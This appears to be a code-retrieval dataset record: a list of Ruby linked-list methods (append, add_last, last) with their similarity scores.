"def append(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n @tail.next_node = node\n end\n @tail = node\n end",
"def append(data)\n\t\t@tail.next_node = Node.new(data, nil)\n\t\t@tail = @tail.next_node\n\tend",
"def append!\n self.operation = :append\n end",
"def append(val)\n current = @head\n while current.next?\n current = current.next_node\n end\n new_node = Node.new(val, nil)\n current.next_node = new_node\n end",
"def append(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n last_node = traverse_nodes(@head)\n # require 'pry'; binding.pry\n last_node.next_node = new_node\n end\n end",
"def append_elem(data)\n\t\tnode = Node.new(data)\n\t\tnode.next_node = nil\n\t\t@head = node if @head == nil\n\t\t@last_elem.next_node = node if @last_elem != nil\n\t\t@last_elem = node\n\tend",
"def append(value)\n if @size == 0\n @head = @tail = LinkedListNode.new(:value => value)\n else\n old_tail = @tail\n @tail = LinkedListNode.new(:value => value)\n old_tail.successor = @tail\n end\n @size += 1\n end",
"def append(value)\n new_node = Node.new(value)\n @head ? @tail.next_node = new_node : @head = new_node\n @tail = new_node\n @size += 1\n end",
"def add_last(e)\n node = Node.new(e, @sentinel.prev, @sentinel)\n @sentinel.prev.next = node\n @sentinel.prev = node\n end",
"def add_last(e)\n node = Node.new(e, @sentinel.prev, @sentinel)\n @sentinel.prev.next = node\n @sentinel.prev = node\n end",
"def append(element)\n updated(@children + [element])\n end",
"def append(value)\n if @head\n find_tail.next = Node.new(value)\n else\n @head = Node.new(value)\n end\n end",
"def append(value)\n node = LinkedListNode.new(value, @tail, nil)\n if @size.zero?\n @head = node\n @tail = node\n @size += 1\n return\n end\n\n @tail.next = node\n @tail = node\n @size += 1\n end",
"def append! x\n\t\t\tcurrent << x\n\t\t\tx\n\t\tend",
"def append(data)\n\t\ttemp = Node.new(data)\n\t\tif (!@head)\n\t\t\t@head = temp\n\t\t\t@tail = temp\n\t\telse\n\t\t\ttemp.set_prev(@tail)\n\t\t\t@tail.set_next(temp)\n\t\t\t@tail = temp\n\t\tend\n\t\t@size +=1\n\tend",
"def append(value = nil, next_node = nil)\n\n if (@head.nil?)\n prepend(value)\n else\n node = @head\n while (node.has_next)\n node = node.next_node\n end\n node.next_node = Node.new(value, next_node)\n end\n\n end",
"def find_last \n\t\tcurrent_node = @head\n\t\tuntil current_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node\n\tend",
"def add_last(value)\n raise NotImplementedError, \"Please implement add_last\"\n end",
"def push(value) #adding element at the end of LL\n new_node = Node.new(value) #create new node\n return @head = new_node if @head == nil #if head is nil(list is empty) new node becomes head\n #if list is not empty, we must traverse to last element in the list \n temp_node = @head #starting from the head\n until temp_node.link == nil #last element in the list is element whit link pointing to nil\n temp_node = temp_node.link #traversing through list using link variable\n end\n temp_node.link = new_node #to append node we assign new node ad last nodes link variable\n end",
"def last\n node = @head\n while node && node.next\n node = node.next # i += 1\n end\n node\n end",
"def append(element)\n NonEmptyList.new(head, *(tail << element))\n end",
"def append(data)\n\t\ttmp = Node.new(data)\n\t\tif @head.nil?\n\t\t\t@head = tmp\n\t\t\t@tail = tmp\n\t\t\t\n\t\telse\n\t\t\t@tail.next = tmp\n\t\t\ttmp.previous = @tail\n\t\t\ttmp.next = nil\n\t\t\t@tail = tmp\n\t\tend\n\t\t@count += 1\n\tend",
"def last\n node = @head;\n return node if node.next.nil?\n until (node.next.nil?) #until end of list\n node = node.next\n return node if node.next.nil?\n end\n end",
"def add_at_tail(val)\n @list << val\n end",
"def added(node)\n\t\t\t@size += 1\n\t\t\treturn node\n\t\tend",
"def last\n @children.last\n end",
"def append(value)\n if @head.nil?\n prepend(value)\n else\n find_tail.next = Node.new(value)\n end\n end",
"def append(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next_node = node\n @tail = @tail.next_node\n end\n end",
"def append(value)\n new_node = Node.new(value)\n node = @node\n\n while node.next\n node = node.next\n end\n\n node.next = new_node\n end",
"def append(node)\n if @head.next.nil?\n @head.next = node\n else\n tail\n @current_node.next = node\n end\n end",
"def last\n self.each {|node| return node if node.next_node == nil}\n end",
"def append(value)\n if @head.nil?\n @head = Node.new(value)\n @tail = @head\n else\n @tail.next_node = Node.new(value)\n @tail = @tail.next_node\n end\n end",
"def add_at_tail(val)\n last = Node.new(val)\n current = @head\n if @length == 0 then\n @head = last\n @length += 1\n else\n while !current.next.nil?\n current = current.next\n end\n current.next = last\n @length += 1\n end\n end",
"def append(value)\n if @size == 0\n @head = Node.new(value)\n else\n node = @head\n node = node.link until node.link.nil?\n node.link = Node.new(value)\n end\n\n @size += 1\n end",
"def append(data)\n node = Node.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next = node\n @tail = node\n end\n end",
"def last *a; self.child(*a) + ':last-child' end",
"def last_node(node)\n return node if tail?\n last_node(node.next_node)\n end",
"def last_node\n return nil if @head.nil?\n current = @head\n while current.next != nil\n current = current.next\n end\n return current\n end"
] |
[
"0.76333445",
"0.72190785",
"0.7195643",
"0.7189808",
"0.71814615",
"0.71620053",
"0.71572375",
"0.71486217",
"0.71486217",
"0.71486217",
"0.7133261",
"0.7070799",
"0.7046044",
"0.7032208",
"0.6990088",
"0.69867617",
"0.6971533",
"0.69511676",
"0.6915157",
"0.6881915",
"0.6850699",
"0.684913",
"0.6848246",
"0.68288416",
"0.6818025",
"0.68043554",
"0.68030405",
"0.67799324",
"0.677139",
"0.67529035",
"0.67508644",
"0.67379767",
"0.6720603",
"0.6710439",
"0.6710439",
"0.67104286",
"0.67075264",
"0.6675475",
"0.6671161",
"0.6670079",
"0.66498595",
"0.6638784",
"0.6594706",
"0.65931505",
"0.6591868",
"0.65683526",
"0.6561637",
"0.65608275",
"0.6553809",
"0.655331",
"0.65510684",
"0.65478885",
"0.6545595",
"0.65407705",
"0.6537416",
"0.6524725",
"0.65121436",
"0.65059763",
"0.65029347",
"0.64966303",
"0.6494535",
"0.6469337",
"0.63910604",
"0.63885415",
"0.6353943",
"0.6344092",
"0.63346446",
"0.63227683",
"0.628285",
"0.62767273",
"0.62767273",
"0.6252009",
"0.62374896",
"0.62296236",
"0.6228754",
"0.6217744",
"0.62169576",
"0.62115127",
"0.620603",
"0.6187111",
"0.6183009",
"0.61780274",
"0.6174074",
"0.61731774",
"0.6162671",
"0.6155614",
"0.61514723",
"0.61444986",
"0.6134034",
"0.6130391",
"0.6129836",
"0.61250806",
"0.6124841",
"0.61151487",
"0.61147505",
"0.61028016",
"0.61014664",
"0.6083806",
"0.6071352"
] |
0.63768387
|
65
|
last Ruby will look for the 'to_s' method on any object you try to print using 'puts', and will run the method to get a printable string. In this way you can provide a clear output for your custom objects with weird internal structures.
|
def to_s
output = ''
node = @head
while node.next
output += node.value + ', '
node = node.next
end
output += node.value # last entry without dangling comma
output # return the final string
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print\n puts to_s\n end",
"def to_s\n Printer.instance.print(self)\n end",
"def to_s\r\n self.each do |r|\r\n puts r.each { |p| p }.join(\" \")\r\n end\r\n end",
"def print\n Kernel.print(self)\n end",
"def println obj\n echo(obj.to_s + \"\\n\")\n end",
"def to_s\n \n each {|x| puts x}\n \n end",
"def puts object = ''\n TetCore.break_after_print\n TetCore.real_puts(object)\nend",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def checked_puts object = ''\n real_puts object\n @prev_printed = false\n end",
"def to_s\n puts \"#{name} is a #{species} and plays with #{toys.join(\" \")}: \"\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def print_text\n\t\tputs self # First object\n\t\tputs \"this is instance method to print some text\"\n\tend",
"def puts(*args)\n args.each do |obj|\n self.write \"#{obj.to_s.sub(/\\n$/, '')}\\n\"\n flush\n end\n end",
"def echo obj\n str = obj.to_s\n write str\n end",
"def print_temp\n print to_string\n end",
"def checked_print object = ''\n print object\n @prev_printed = true\n end",
"def to_s\n self.methods.each { |m| puts self.m }\n end",
"def print(*args)\n args.each do |obj|\n self.write obj.to_s\n end\n\n write $OUTPUT_RECORD_SEPARATOR\n flush\n end",
"def to_s\n inspect.to_s\n end",
"def print\r\n puts self.output\r\n end",
"def print\r\n puts name + \" \" + className + \" says \" + \"\\\"\" + call + \"\\\"\"\r\n end",
"def toString\n\t\tputs Persona.get_info\n\tend",
"def to_s\n self.inspect\n end",
"def to_s() @out.to_s end",
"def print\n return ''\n end",
"def result_to_string(object)\n if object.is_a?(String) then\n return object\n else\n if defined?(awesome_inspect)\n return object.awesome_inspect({:plain=>true, :index=>false})\n elsif defined?(pretty_inspect)\n return object.pretty_inspect.chomp # Remove new line that PrettyInspect adds at the end https://www.ruby-forum.com/topic/113429\n else\n return object.inspect\n end\n end\n end",
"def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend",
"def debug_str(inspect_method = :inspect)\n \"Current Date: #{self.input_date.readable}\\nCurrent Time: #{self.input_time.readable}\\n\\nQuery: #{self.query}\\nStandardized Query: #{self.nlp_query}\\nQuery changed in: #{self.nlp_query.changed_in.inspect}\\n\\nConstructs Found: #{s = \"\\n\"; self.construct_finder.constructs.each{|x| s << x.send(inspect_method) + \"\\n\"}; s}\\n\\n@construct_interpreter: #{self.construct_interpreter.send(inspect_method)}\"\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def print(to = $stdout)\n to.print to_s\n end",
"def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend",
"def to_s\r\n dump\r\n end",
"def output(o);printf o;end",
"def dump(obj, io)\n io.puts obj.send(inspect_method)\n end",
"def to_s\n toString\n end",
"def output object\n STDOUT.puts \"#{object}\"\n end",
"def to_s\n toString()\n end",
"def to_s\n inspect\n end",
"def to_s\n inspect\n end",
"def to_s\n puts \"Character Name: #{@name}\"\n puts \"Character Race: #{@race}\"\n puts \"Character Hit Points: #{@hit_points}\"\n print \"Character Weapons: \"\n for weapon in @weapons\n print weapon\n print \" , \"\n end\n puts \"\"\n puts \"Character Gold: #{@gold}\"\n print \"Character Clothing: \"\n for cloth in @clothing\n print cloth\n print \" , \"\n end\n puts \"\"\n end",
"def to_s\n object.to_s\n end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s\n\t\t\"ISBN: #{@isbn}, price: #{@price}\" # returns this string as default (last evaluated line), used by puts\n\tend",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end"
] |
[
"0.78535944",
"0.726828",
"0.7250138",
"0.7164556",
"0.7060365",
"0.70278555",
"0.6999086",
"0.69877875",
"0.69877875",
"0.69877875",
"0.69877875",
"0.69877875",
"0.69158405",
"0.689715",
"0.68448645",
"0.6844409",
"0.6755981",
"0.6731686",
"0.67243606",
"0.6713582",
"0.669819",
"0.6675935",
"0.66666365",
"0.6661343",
"0.6658631",
"0.6657051",
"0.66547066",
"0.6652729",
"0.66371167",
"0.66282076",
"0.6614649",
"0.6609783",
"0.6602865",
"0.6602865",
"0.6599472",
"0.65946364",
"0.6589621",
"0.65841705",
"0.6576698",
"0.6570722",
"0.65670806",
"0.6561085",
"0.655374",
"0.655374",
"0.6552706",
"0.65520394",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.65489453",
"0.6546246",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327",
"0.65431327"
] |
0.0
|
-1
|
HOMEWORK! Implement the following methods:
|
def insert_after( node, value )
# Find the specified node, and add a new node
# with the given value between that found node
# and the next
node = find node
node_after = node.next
node_inserted = Node.new value
node.next = node_inserted
node_inserted.next = node_after
node_inserted
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def implementation; end",
"def implementation; end",
"def schubert; end",
"def probers; end",
"def suivre; end",
"def who_we_are\r\n end",
"def zuruecksetzen()\n end",
"def operations; end",
"def operations; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def internal; end",
"def refutal()\n end",
"def weber; end",
"def how_it_works\r\n end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def custom; end",
"def custom; end",
"def strategy; end",
"def private_method\n end",
"def villian; end",
"def jack_handey; end",
"def methods() end",
"def handle; end",
"def eplore\n end",
"def verdi; end",
"def celebration; end",
"def scientist; end",
"def formation; end",
"def respond(); end",
"def hd\n \n end",
"def rossini; end",
"def terpene; end",
"def processor; end",
"def overrides; end",
"def feruchemist; end",
"def initialize\n\t\t\n\tend",
"def identify; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def operation; end",
"def informational?; end",
"def initialize()\r\n\r\n end",
"def berlioz; end",
"def returns; end",
"def hiss; end",
"def initialize\r\n\r\n end",
"def commence\n raise NotImplementedError\n end",
"def invention; end",
"def initialize\n \n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def dh; end",
"def strain; end",
"def public; end",
"def public; end",
"def perform\n \n end",
"def internal?; end",
"def wrapper; end",
"def stderrs; end",
"def sn\n end",
"def work\n raise \"implement this in a class that includes this module\"\n end",
"def incomplete\r\n\r\n end",
"def intensifier; end",
"def r; end",
"def r; end",
"def apis; end",
"def schumann; end",
"def call\n\n\tend",
"def call\n\n\tend",
"def interface; end",
"def interface; end",
"def anchored; end",
"def mitch_hedberg; end",
"def ibu; end",
"def herald; end",
"def romeo_and_juliet; end",
"def initialize()\n\t\tend",
"def common\n \n end",
"def bellini; end",
"def relatorios\n end",
"def guct\n end",
"def call; end",
"def call; end",
"def call; end",
"def call; end"
] |
[
"0.7975987",
"0.76630944",
"0.76630944",
"0.74354887",
"0.7211074",
"0.7130097",
"0.7059601",
"0.69221073",
"0.6912169",
"0.6912169",
"0.68951285",
"0.68951285",
"0.68951285",
"0.68951285",
"0.68256587",
"0.6823467",
"0.67611814",
"0.67586416",
"0.6726162",
"0.6726162",
"0.6726162",
"0.6726162",
"0.67103386",
"0.67103386",
"0.6699023",
"0.66317105",
"0.66041344",
"0.6577058",
"0.65655875",
"0.65388274",
"0.6520305",
"0.6511142",
"0.65100443",
"0.6457781",
"0.64522105",
"0.6448952",
"0.64426905",
"0.64182836",
"0.64017767",
"0.6398548",
"0.6390656",
"0.6357529",
"0.6354415",
"0.63500965",
"0.63485277",
"0.63485277",
"0.63485277",
"0.63485277",
"0.63485277",
"0.63485277",
"0.63485277",
"0.63485277",
"0.63485277",
"0.634782",
"0.63341135",
"0.63234997",
"0.63173455",
"0.6305852",
"0.6303993",
"0.6303562",
"0.62695503",
"0.6268023",
"0.6259024",
"0.62520176",
"0.62520176",
"0.62520176",
"0.62520176",
"0.62486744",
"0.62478185",
"0.6247046",
"0.6247046",
"0.6244903",
"0.6243175",
"0.6241433",
"0.6215608",
"0.6209696",
"0.6208135",
"0.62035465",
"0.6193264",
"0.6191218",
"0.6191218",
"0.61855847",
"0.61849797",
"0.6183828",
"0.6183828",
"0.61791253",
"0.61791253",
"0.61760527",
"0.6175583",
"0.6174387",
"0.6171711",
"0.61676466",
"0.61638916",
"0.6161133",
"0.61570203",
"0.6156239",
"0.6153752",
"0.61508435",
"0.61508435",
"0.61508435",
"0.61508435"
] |
0.0
|
-1
|
Preview this email at
|
def password_reset
user = User.first
user.reset_token = User.new_token
UserMailer.password_reset(user)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def preview\n @email = Email.find(params[:id])\n render :text => @email.body\n end",
"def preview\n @email = DirectEmail.find(params[:id])\n render :text => @email.body\n end",
"def preview\n @email = EventEmail.find(params[:id])\n render :text => @email.body\n end",
"def preview_email\r\n invitation = Invitation.new(:user => current_user, :code => Code.new)\r\n mail = Mailers::Debate.create_invitation(current_user, @resource, invitation)\r\n @mail_body = mail.body.sub('No message provided', 'YOUR PERSONALIZED NOTE GOES HERE')\r\n\r\n render :inline => %Q{<%= simple_format(@mail_body, {:style => 'margin: 8px 0px'}) %>}\r\n end",
"def demo\n preview(DemoMailer.demo)\n end",
"def demo\n preview(DemoMailer.demo)\n end",
"def call(email, params = {})\n preview = new(params)\n message = preview.public_send(email)\n inform_preview_interceptors(message)\n message\n end",
"def call(email)\n preview = self.new\n preview.public_send(email)\n end",
"def preview_newsletter\n @newsletter = @structure.newsletters.friendly.find params[:id]\n\n # Send email to no recipients to generate mail object\n mail = NewsletterMailer.send_newsletter(@newsletter, nil)\n @body = MailerPreviewer.preview(mail)\n\n render layout: false\n end",
"def preview\n task = MailTasks::Task.new( params[:task] )\n recipient = StoreUser.find( params[:id], :include => \"customer\", :readonly => true )\n mail = task.generate_mails( [recipient], false, mail_layout_options ).first\n render :text => mail.content_with_layout( mail_layout_options ), :layout => false\n # rescue => exception\n # headers[\"Content-Type\"] = \"text/plain\"\n # render :text => exception.to_yaml, :layout => false\n end",
"def preview_to(recipient)\n @newsletter = build_newsletter\n mail = build_mail\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end",
"def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end",
"def process_explanation_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.process_explanation_mail(Petition.live.first)\n end",
"def content_for_preview( layout_options )\r\n content = self.body.dup\r\n content.gsub!( /<%=\\s?(@[^%]+)\\s?%>/, '<code>\\1</code>' )\r\n mail = Mail.new( :token => \"\" )\r\n mail.content = Render::Base.new( content ).mail_content\r\n template = IO.read(\"#{RAILS_ROOT}/app/views/mail_tasks/mailer/this_mail.text.html.rhtml\")\r\n \r\n render = Render::Base.new( template, layout_options.merge( :mail => mail ) )\r\n render.mail_content\r\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n PreviewAnnouncements.new(@browser)\n end",
"def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end",
"def preview\n end",
"def preview\n end",
"def show\n @decrypted = @autocrypt.decrypt(@email)\n @reply_params = {\n to: @email.from,\n subject: 'Re: ' + @email.subject,\n body: (@decrypted || @email.body).gsub(/^/, '> ')\n }\n end",
"def preview\n attachments.first.file.url(:preview)\n rescue StandardError => exc\n logger.error(\"Message for the log file while retrieving preview #{exc.message}\")\n 'empty_file.png'\n end",
"def preview\n redirect_to preview_url\n end",
"def preview\n @text = params[:deliverable][:description]\n render :partial => 'common/preview'\n end",
"def preview_announcement(subject)\n frm.link(:text=>subject).click\n PreviewAnnouncements.new(@browser)\n end",
"def show\n if @sent_email.photo.nil?\n @display_name = ''\n @title = ''\n @flickr_url = ''\n else\n @display_name = @sent_email.photo.member.display_name\n @title = @sent_email.photo.title\n @flickr_url = @sent_email.photo.get_flickr_url\n end\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end",
"def send_preview(recipients, personalize=\"fallback\")\n options = { :body => {\n :PreviewRecipients => recipients.kind_of?(String) ? [ recipients ] : recipients,\n :Personalize => personalize }.to_json }\n response = post \"sendpreview\", options\n end",
"def create\n @mail = Mail.new(params[:mail])\n @mail.user = current_user\n \n if params[:preview_button] || !@mail.save\n render :action => \"new\"\n else\n flash[:notice] = 'Mail was successfully created.'\n redirect_to(@mail)\n end\n end",
"def last_message_preview=(value)\n @last_message_preview = value\n end",
"def edit\n yield @editor\n @mail = @editor.mail\n @message = @mail.to_s\n end",
"def preview_text\n return @preview_text\n end",
"def preview_text\n return @preview_text\n end",
"def preview\n return @preview\n end",
"def inspect\n \"#<Envelope::Message to=#{formatted_to} from=#{formatted_from} cc=#{formatted_cc} bcc=#{formatted_bcc} reply_to=#{formatted_reply_to} subject=\\\"#{subject}\\\" text_part=\\\"#{preview = (text_part || html_part); (preview && preview.gsub(/\\s+/, ' ') || 'No preview available')[0..50]}...\\\">\"\n end",
"def petition_announcement_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.petition_announcement_mail(Petition.live.first)\n end",
"def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end",
"def preview() @page.find(input_elements[:preview]) end",
"def preview(channel_id, msg_id, data)\n channel_config, message_config, text =\n prepare_message(channel_id, msg_id, data)\n chats = channel_config.chat_ids\n connector = channel_config.connector\n\n if message_allowed?(message_config, data)\n connector.preview(chats, text, message_config)\n else\n puts \"No message sent beacuse it's not allowed\"\n end\n end",
"def improve_and_reopen_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.improve_and_reopen_mail(Petition.live.first)\n end",
"def hand_over_to_office_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.hand_over_to_office_mail(Petition.live.first)\n end",
"def content_preview\n self.send(content_preview_method)\n end",
"def write_about_hand_over_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.write_about_hand_over_mail(Petition.live.first)\n end",
"def preview\n order = current_user.orders.find_by_cookbook_id(params[:id])\n @cookbook = (order) ? order.cookbook : current_cookbook\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cookbook-#{@cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: @cookbook, \n filename: preview_path\n )\n preview.cookbook\n render \"previews/preview\"\n end",
"def preview=(value)\n @preview = value\n end",
"def preview_path_for_attachment(attachment)\n preview_attachment_path(id: attachment.attachment_data.id, file: attachment.filename.split('.').first, extension: attachment.file_extension)\n end",
"def preview(attachment, options)\n Rails.application.routes.url_helpers.rails_representation_path(attachment.preview(options), only_path: true)\n end",
"def preview_doc\n @tpl = Template.find(params[\"template_id\"]) \n output = @tpl.render_by_model_id(params[:id], 'print', 'www.freightoperations.com:8080')\n render(:text => output, :layout => false) \n end",
"def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end",
"def last_message_preview\n return @last_message_preview\n end",
"def preview\n @preview ||= Preview.new(self) #if has_preview?\n end",
"def tweet_reviewed_by_influencer(tweet)\n @tweet = tweet\n\n set_attachments\n\n mail(to: tweet.campaign.advertiser.user.email, subject: \"Notificaciones @ Social Target - Uno de tus tweets fue revisado/modificado por una empresa\")\n end",
"def body_preview=(value)\n @body_preview = value\n end",
"def preview\n content[0..19]\n end",
"def view(review, recipient)\n @review = review\n\n mail(to: recipient.email, subject: \"#{@review.review_type == \"cto\" ? @review.booking.user.first_name : @review.booking.offer.user.first_name} vous a laissé un commentaire\")\n end",
"def new_review_email (review)\n\t@book = review.book\n\t@review = review\n\tmail :to => @book.readers.collect{|r| r.email},\n\t :subject=>\"New review for #{@book.title}\"\n end",
"def preview(element_key)\n parameter = { basic_auth: @auth }\n self.class.get(\"/elements/#{element_key}/preview\", parameter)\n end",
"def open\n mail = MailTasks::Mail.find_by_token( params[:id] )\n raise ActiveRecord::RecordNotFound unless mail # raise 404 if mail is not found\n \n options = {\n :post_back_url => url_for( :controller => \"/email\", :action => \"red_logo\" ),\n :base => [request.protocol, request.host].join\n }\n render :text => mail.content_with_layout( options ), :layout => false\n end",
"def emailOnMetareview(revieweeId)\r\n puts \"in Metareview\"\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n user=User.find_by_id(participant)\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review_of_review\"\r\n if(user.email_on_review_of_review)\r\n email(user.email,\"Metareview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end",
"def body_preview\n return @body_preview\n end",
"def preview(*)\n nil\n end",
"def preview(*)\n nil\n end",
"def preview\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_extra_page-#{@extra_page.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.extra_page @extra_page.id\n render \"previews/preview\"\n end",
"def reference_number_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.reference_number_mail(Petition.live.first)\n end",
"def ask_office_for_answer_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.ask_office_for_answer_mail(Petition.live.first)\n end",
"def show\n set_retail\n end",
"def preview_name\n name.sub(/Preview$/, '').underscore\n end",
"def preview\n mixpanel_tab_event(\"View Item\", \"Get Preview URL\")\n begin\n embed_url = user_client.embed_url(params[:id])\n redirect_to embed_url\n rescue\n redirect_to no_support_url\n end\n\n end",
"def blog_preview\n object._challenge\n end",
"def show\n session[:applicant_token] = params[:id] unless current_user\n @email = ERB.new(Settings.email_template).result(get_binding)\n p EMAIL: @email\n end",
"def ping_reviewer(review)\n\n to_list = [review[:user].email]\n cc_list = []\n subject = 'Your unresolved Design Review(s)'\n\n @user = review[:user]\n @result = review[:results]\n \n if review[:urgent]\n attachments.inline['warning.png'] = File.read('app/assets/images/warning.png')\n headers['Importance'] = 'high'\n headers['X-Priority'] = '1'\n headers['X-MSMail-Priority'] = 'High'\n end\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list,\n ) \n end",
"def preview_text(maxlength = 30)\n return \"\" if description.blank?\n my_contents = description[\"contents\"]\n return \"\" if my_contents.blank?\n content_flagged_as_preview = my_contents.select { |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select { |content| content.name == content_to_take_as_preview[\"name\"] }.first\n return \"\" if preview_content.blank? || preview_content.essence.blank?\n text = preview_content.essence.preview_text(maxlength)\n text.size > maxlength ? \"#{text[0..maxlength]}...\" : text\n end",
"def link_to_preview(text, type_id, *args)\n link_to_function text, \"CCPEVE.showPreview(#{type_id.inspect})\", *args\n end",
"def preview_text=(value)\n @preview_text = value\n end",
"def preview_text=(value)\n @preview_text = value\n end",
"def resume_confirm(email, username, filename)\n subject 'You have uploaded your resume to YouIntern'\n recipients email\n from 'support@youintern.com'\n sent_on Time.now\n \n body :username => username, :filename => filename\n end",
"def preview_text(max_length = 30)\n attachment&.name.to_s[0..max_length - 1]\n end",
"def display_resume\n\t profile_resume = Profile.find_by_id(params[:id]).resume\n send_data(profile_resume.attachment_binary.data,\n\t\t\t\t :filename => profile_resume.name,\n\t\t\t\t :type => profile_resume.content_type,\n\t\t\t\t :disposition => \"attachment\"\n\t\t\t\t )\n end",
"def generate_complete_timeline_preview_url(given_timeline_id)\n tl_entry_to_use = Timeline.find(given_timeline_id)\n target_page_path = timeline_path(tl_entry_to_use)\n \n protocol_host_port = \"#{request.protocol}#{request.host_with_port}\"\n main_url = \"#{protocol_host_port}#{target_page_path}?preview=true\"\n \n url_to_return = URI::encode(main_url)\n return url_to_return\n end",
"def preview(article)\n unless article.published_at.nil?\n article_path(article)\n else\n preview_path(article.preview_hash)\n end\n end",
"def post_edit_email\n NotificationMailer.post_edit_email('default@email.com')\n end",
"def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end",
"def update\n @mail = Mail.find(params[:id]) \n if !@mail.update_attributes(params[:mail]) || params[:preview_button]\n \n render :action => \"edit\"\n else\n flash[:notice] = 'Mail was successfully updated.'\n redirect_to(@mail)\n end\n end",
"def to_s\n \"Last Modified: #{@modifiedAt}\\nStatus: #{@status}\\nAssigned to: #{@owner}\\nSubject: #{@subject}\\n#{@preview}\"\n end",
"def show\n #TRACKER.track(current_user['email'], \"READ_EMAIL\", {\"email_id\" => @email.id, \"email_reference\" => @email.reference_id})\n TRACKER.track(current_user['email'], \"READ_EMAIL\", @email.id, @email.reference_id)\n end",
"def preview!(purchase)\n post(purchase, \"#{collection_path}/preview\")\n end",
"def preview!(purchase)\n post(purchase, \"#{collection_path}/preview\")\n end",
